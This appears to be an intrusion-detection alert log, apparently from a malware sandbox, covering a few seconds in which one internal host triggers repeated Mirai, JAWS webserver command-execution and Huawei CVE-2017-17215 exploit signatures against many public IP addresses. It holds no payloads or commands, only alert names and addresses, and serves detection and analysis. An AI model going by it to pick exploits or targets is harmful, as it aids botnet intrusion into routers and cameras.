2024-12-03T23:02:26.003538+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35468	165.237.166.84	80	TCP
2024-12-03T23:02:26.003538+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35468	165.237.166.84	80	TCP
2024-12-03T23:02:26.009593+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41786	70.228.253.240	80	TCP
2024-12-03T23:02:26.009593+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41786	70.228.253.240	80	TCP
2024-12-03T23:02:26.018855+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33240	141.175.5.223	80	TCP
2024-12-03T23:02:26.018855+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33240	141.175.5.223	80	TCP
2024-12-03T23:02:26.197281+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44038	185.51.90.98	80	TCP
2024-12-03T23:02:26.197281+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44038	185.51.90.98	80	TCP
2024-12-03T23:02:26.228604+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60564	174.237.64.88	80	TCP
2024-12-03T23:02:26.228604+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60564	174.237.64.88	80	TCP
2024-12-03T23:02:26.228730+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39514	40.10.15.11	80	TCP
2024-12-03T23:02:26.228730+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39514	40.10.15.11	80	TCP
2024-12-03T23:02:26.253165+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37248	57.202.180.183	80	TCP
2024-12-03T23:02:26.253165+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37248	57.202.180.183	80	TCP
2024-12-03T23:02:26.790884+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53768	191.228.54.53	80	TCP
2024-12-03T23:02:26.790884+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53768	191.228.54.53	80	TCP
2024-12-03T23:02:26.806691+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36828	110.44.250.82	80	TCP
2024-12-03T23:02:26.806691+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36828	110.44.250.82	80	TCP
2024-12-03T23:02:26.822745+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47880	210.1.89.255	80	TCP
2024-12-03T23:02:26.822745+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47880	210.1.89.255	80	TCP
2024-12-03T23:02:26.831922+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56370	196.190.48.126	80	TCP
2024-12-03T23:02:26.831922+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56370	196.190.48.126	80	TCP
2024-12-03T23:02:26.832077+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53562	204.240.175.52	80	TCP
2024-12-03T23:02:26.832077+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53562	204.240.175.52	80	TCP
2024-12-03T23:02:27.119123+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33576	41.180.145.153	37215	TCP
2024-12-03T23:02:27.119124+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36220	197.86.92.138	37215	TCP
2024-12-03T23:02:27.119139+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37932	41.135.99.58	37215	TCP
2024-12-03T23:02:27.134788+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59386	159.125.18.5	80	TCP
2024-12-03T23:02:27.134788+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59386	159.125.18.5	80	TCP
2024-12-03T23:02:27.197385+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55610	90.244.204.62	80	TCP
2024-12-03T23:02:27.197385+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55610	90.244.204.62	80	TCP
2024-12-03T23:02:27.197458+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57856	57.249.135.167	80	TCP
2024-12-03T23:02:27.197458+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57856	57.249.135.167	80	TCP
2024-12-03T23:02:27.206585+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36856	130.92.189.108	80	TCP
2024-12-03T23:02:27.206585+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36856	130.92.189.108	80	TCP
2024-12-03T23:02:27.213008+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45670	88.214.253.30	80	TCP
2024-12-03T23:02:27.213008+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45670	88.214.253.30	80	TCP
2024-12-03T23:02:27.253450+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42192	157.75.188.167	80	TCP
2024-12-03T23:02:27.253450+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42192	157.75.188.167	80	TCP
2024-12-03T23:02:27.337972+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38904	41.101.35.62	37215	TCP
2024-12-03T23:02:27.369454+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44964	197.240.40.190	37215	TCP
2024-12-03T23:02:27.395369+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50132	156.173.226.153	37215	TCP
2024-12-03T23:02:27.409967+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36900	197.49.205.29	37215	TCP
2024-12-03T23:02:28.159608+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33066	156.96.10.197	37215	TCP
2024-12-03T23:02:28.175287+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40660	41.149.247.177	37215	TCP
2024-12-03T23:02:28.197382+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60562	9.170.53.211	80	TCP
2024-12-03T23:02:28.197382+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60562	9.170.53.211	80	TCP
2024-12-03T23:02:28.197506+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43416	197.150.11.102	37215	TCP
2024-12-03T23:02:28.222183+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37406	41.89.83.219	37215	TCP
2024-12-03T23:02:28.237809+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41204	156.48.165.29	37215	TCP
2024-12-03T23:02:28.244351+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60496	41.114.115.82	37215	TCP
2024-12-03T23:02:28.268927+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54174	99.6.29.125	80	TCP
2024-12-03T23:02:28.268927+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54174	99.6.29.125	80	TCP
2024-12-03T23:02:28.275513+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56214	42.101.107.78	80	TCP
2024-12-03T23:02:28.275513+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56214	42.101.107.78	80	TCP
2024-12-03T23:02:28.284998+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55298	167.195.228.185	80	TCP
2024-12-03T23:02:28.284998+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55298	167.195.228.185	80	TCP
2024-12-03T23:02:28.300212+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41184	58.181.107.131	80	TCP
2024-12-03T23:02:28.300212+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41184	58.181.107.131	80	TCP
2024-12-03T23:02:28.322362+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38620	124.240.76.130	80	TCP
2024-12-03T23:02:28.322362+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38620	124.240.76.130	80	TCP
2024-12-03T23:02:28.322571+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55216	97.131.151.134	80	TCP
2024-12-03T23:02:28.322571+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55216	97.131.151.134	80	TCP
2024-12-03T23:02:28.362878+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40682	146.78.192.102	80	TCP
2024-12-03T23:02:28.362878+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40682	146.78.192.102	80	TCP
2024-12-03T23:02:28.369027+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57846	218.160.198.68	80	TCP
2024-12-03T23:02:28.369027+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57846	218.160.198.68	80	TCP
2024-12-03T23:02:28.409563+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33040	130.195.228.124	80	TCP
2024-12-03T23:02:28.409563+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33040	130.195.228.124	80	TCP
2024-12-03T23:02:28.409695+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55690	212.164.197.45	80	TCP
2024-12-03T23:02:28.409695+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55690	212.164.197.45	80	TCP
2024-12-03T23:02:28.763576+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43066	45.203.146.196	80	TCP
2024-12-03T23:02:28.763576+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43066	45.203.146.196	80	TCP
2024-12-03T23:02:29.087693+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43062	100.47.39.64	80	TCP
2024-12-03T23:02:29.087693+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43062	100.47.39.64	80	TCP
2024-12-03T23:02:29.097175+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53722	43.37.19.66	80	TCP
2024-12-03T23:02:29.097175+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53722	43.37.19.66	80	TCP
2024-12-03T23:02:29.119183+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45968	118.88.160.205	80	TCP
2024-12-03T23:02:29.119183+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45968	118.88.160.205	80	TCP
2024-12-03T23:02:29.119253+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54416	57.9.56.30	80	TCP
2024-12-03T23:02:29.119253+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54416	57.9.56.30	80	TCP
2024-12-03T23:02:29.145017+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46584	195.194.204.145	80	TCP
2024-12-03T23:02:29.145017+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46584	195.194.204.145	80	TCP
2024-12-03T23:02:29.158908+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55514	120.51.53.212	80	TCP
2024-12-03T23:02:29.158908+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55514	120.51.53.212	80	TCP
2024-12-03T23:02:29.417055+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55072	41.25.101.196	37215	TCP
2024-12-03T23:02:29.463788+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34792	41.246.226.226	37215	TCP
2024-12-03T23:02:29.463792+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45180	156.168.222.55	37215	TCP
2024-12-03T23:02:29.488742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56114	41.126.42.85	37215	TCP
2024-12-03T23:02:29.495197+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40606	120.96.167.7	80	TCP
2024-12-03T23:02:29.495197+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40606	120.96.167.7	80	TCP
2024-12-03T23:02:29.504120+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39500	41.55.74.26	37215	TCP
2024-12-03T23:02:29.504141+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46838	156.9.148.30	37215	TCP
2024-12-03T23:02:29.526313+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50792	220.24.222.247	80	TCP
2024-12-03T23:02:29.526313+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50792	220.24.222.247	80	TCP
2024-12-03T23:02:29.526338+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59450	122.191.41.176	80	TCP
2024-12-03T23:02:29.526338+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59450	122.191.41.176	80	TCP
2024-12-03T23:02:29.535319+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35442	93.210.77.249	80	TCP
2024-12-03T23:02:29.535319+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35442	93.210.77.249	80	TCP
2024-12-03T23:02:29.535483+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46560	47.31.48.95	80	TCP
2024-12-03T23:02:29.535483+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46560	47.31.48.95	80	TCP
2024-12-03T23:02:29.566709+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59986	92.182.109.134	80	TCP
2024-12-03T23:02:29.566709+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59986	92.182.109.134	80	TCP
2024-12-03T23:02:29.566730+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52042	205.62.181.150	80	TCP
2024-12-03T23:02:29.566730+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52042	205.62.181.150	80	TCP
2024-12-03T23:02:30.244257+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36762	181.2.206.154	80	TCP
2024-12-03T23:02:30.244257+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36762	181.2.206.154	80	TCP
2024-12-03T23:02:30.244470+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35140	161.104.243.118	80	TCP
2024-12-03T23:02:30.244470+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35140	161.104.243.118	80	TCP
2024-12-03T23:02:30.253339+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50694	135.50.4.179	80	TCP
2024-12-03T23:02:30.253339+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50694	135.50.4.179	80	TCP
2024-12-03T23:02:30.284813+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38924	208.102.194.80	80	TCP
2024-12-03T23:02:30.284813+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38924	208.102.194.80	80	TCP
2024-12-03T23:02:30.284816+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48718	131.216.31.152	80	TCP
2024-12-03T23:02:30.284816+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48718	131.216.31.152	80	TCP
2024-12-03T23:02:30.300779+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41526	41.255.131.67	37215	TCP
2024-12-03T23:02:30.322397+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35572	156.221.148.130	37215	TCP
2024-12-03T23:02:30.331415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59508	197.42.73.254	37215	TCP
2024-12-03T23:02:30.331556+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42354	197.160.205.254	37215	TCP
2024-12-03T23:02:30.394274+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56324	41.48.66.195	37215	TCP
2024-12-03T23:02:30.447422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42830	41.243.14.57	37215	TCP
2024-12-03T23:02:30.603370+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48128	197.222.172.41	37215	TCP
2024-12-03T23:02:30.603459+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60622	41.52.74.241	37215	TCP
2024-12-03T23:02:30.603677+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56988	41.139.107.157	37215	TCP
2024-12-03T23:02:30.651609+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45232	156.65.82.238	37215	TCP
2024-12-03T23:02:30.660952+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55928	156.183.97.77	37215	TCP
2024-12-03T23:02:30.661030+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39488	41.226.102.116	37215	TCP
2024-12-03T23:02:30.741957+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56526	41.175.109.197	37215	TCP
2024-12-03T23:02:30.775320+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57744	179.176.136.217	80	TCP
2024-12-03T23:02:30.775320+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57744	179.176.136.217	80	TCP
2024-12-03T23:02:30.775420+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41870	178.26.134.87	80	TCP
2024-12-03T23:02:30.775420+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41870	178.26.134.87	80	TCP
2024-12-03T23:02:30.816306+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41808	192.62.28.154	80	TCP
2024-12-03T23:02:30.816306+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41808	192.62.28.154	80	TCP
2024-12-03T23:02:30.816309+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52688	207.214.255.15	80	TCP
2024-12-03T23:02:30.816309+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52688	207.214.255.15	80	TCP
2024-12-03T23:02:30.831402+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45936	208.122.104.129	80	TCP
2024-12-03T23:02:30.831402+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45936	208.122.104.129	80	TCP
2024-12-03T23:02:31.363530+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53216	41.209.62.254	37215	TCP
2024-12-03T23:02:31.384783+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36564	130.15.156.101	80	TCP
2024-12-03T23:02:31.384783+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36564	130.15.156.101	80	TCP
2024-12-03T23:02:31.409655+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36694	196.4.107.34	80	TCP
2024-12-03T23:02:31.409655+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36694	196.4.107.34	80	TCP
2024-12-03T23:02:31.409841+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43436	173.19.150.145	80	TCP
2024-12-03T23:02:31.409841+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43436	173.19.150.145	80	TCP
2024-12-03T23:02:31.431854+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59218	149.144.220.122	80	TCP
2024-12-03T23:02:31.431854+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59218	149.144.220.122	80	TCP
2024-12-03T23:02:31.456563+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33606	168.205.155.87	80	TCP
2024-12-03T23:02:31.456563+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33606	168.205.155.87	80	TCP
2024-12-03T23:02:31.565866+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55106	61.251.115.95	80	TCP
2024-12-03T23:02:31.565866+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55106	61.251.115.95	80	TCP
2024-12-03T23:02:31.565876+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49650	72.104.229.5	80	TCP
2024-12-03T23:02:31.565876+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49650	72.104.229.5	80	TCP
2024-12-03T23:02:31.566082+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35586	153.41.160.19	80	TCP
2024-12-03T23:02:31.566082+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35586	153.41.160.19	80	TCP
2024-12-03T23:02:31.572314+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40006	197.221.243.186	80	TCP
2024-12-03T23:02:31.572314+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40006	197.221.243.186	80	TCP
2024-12-03T23:02:31.572470+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40906	1.99.148.152	80	TCP
2024-12-03T23:02:31.572470+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40906	1.99.148.152	80	TCP
2024-12-03T23:02:31.572575+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45718	108.245.0.47	80	TCP
2024-12-03T23:02:31.572575+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45718	108.245.0.47	80	TCP
2024-12-03T23:02:31.582000+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38958	57.17.247.48	80	TCP
2024-12-03T23:02:31.582000+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38958	57.17.247.48	80	TCP
2024-12-03T23:02:32.347346+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54046	156.187.167.96	37215	TCP
2024-12-03T23:02:32.525542+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55664	220.202.214.73	80	TCP
2024-12-03T23:02:32.525542+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55664	220.202.214.73	80	TCP
2024-12-03T23:02:32.572282+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54930	119.229.42.43	80	TCP
2024-12-03T23:02:32.572282+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54930	119.229.42.43	80	TCP
2024-12-03T23:02:32.572286+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55488	135.106.99.29	80	TCP
2024-12-03T23:02:32.572286+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55488	135.106.99.29	80	TCP
2024-12-03T23:02:32.572379+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55326	208.23.123.184	80	TCP
2024-12-03T23:02:32.572379+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55326	208.23.123.184	80	TCP
2024-12-03T23:02:32.597376+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38294	142.129.100.223	80	TCP
2024-12-03T23:02:32.597376+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38294	142.129.100.223	80	TCP
2024-12-03T23:02:33.448079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47308	41.172.169.199	37215	TCP
2024-12-03T23:02:33.573363+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40024	156.64.117.250	37215	TCP
2024-12-03T23:02:33.619549+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50898	197.75.48.207	37215	TCP
2024-12-03T23:02:33.628313+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34272	197.195.135.163	37215	TCP
2024-12-03T23:02:33.628420+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33738	197.193.244.228	37215	TCP
2024-12-03T23:02:33.628525+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57056	197.74.174.169	37215	TCP
2024-12-03T23:02:33.659588+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53658	41.178.156.22	37215	TCP
2024-12-03T23:02:33.659764+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49344	156.89.113.19	37215	TCP
2024-12-03T23:02:33.775493+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57452	122.238.169.224	80	TCP
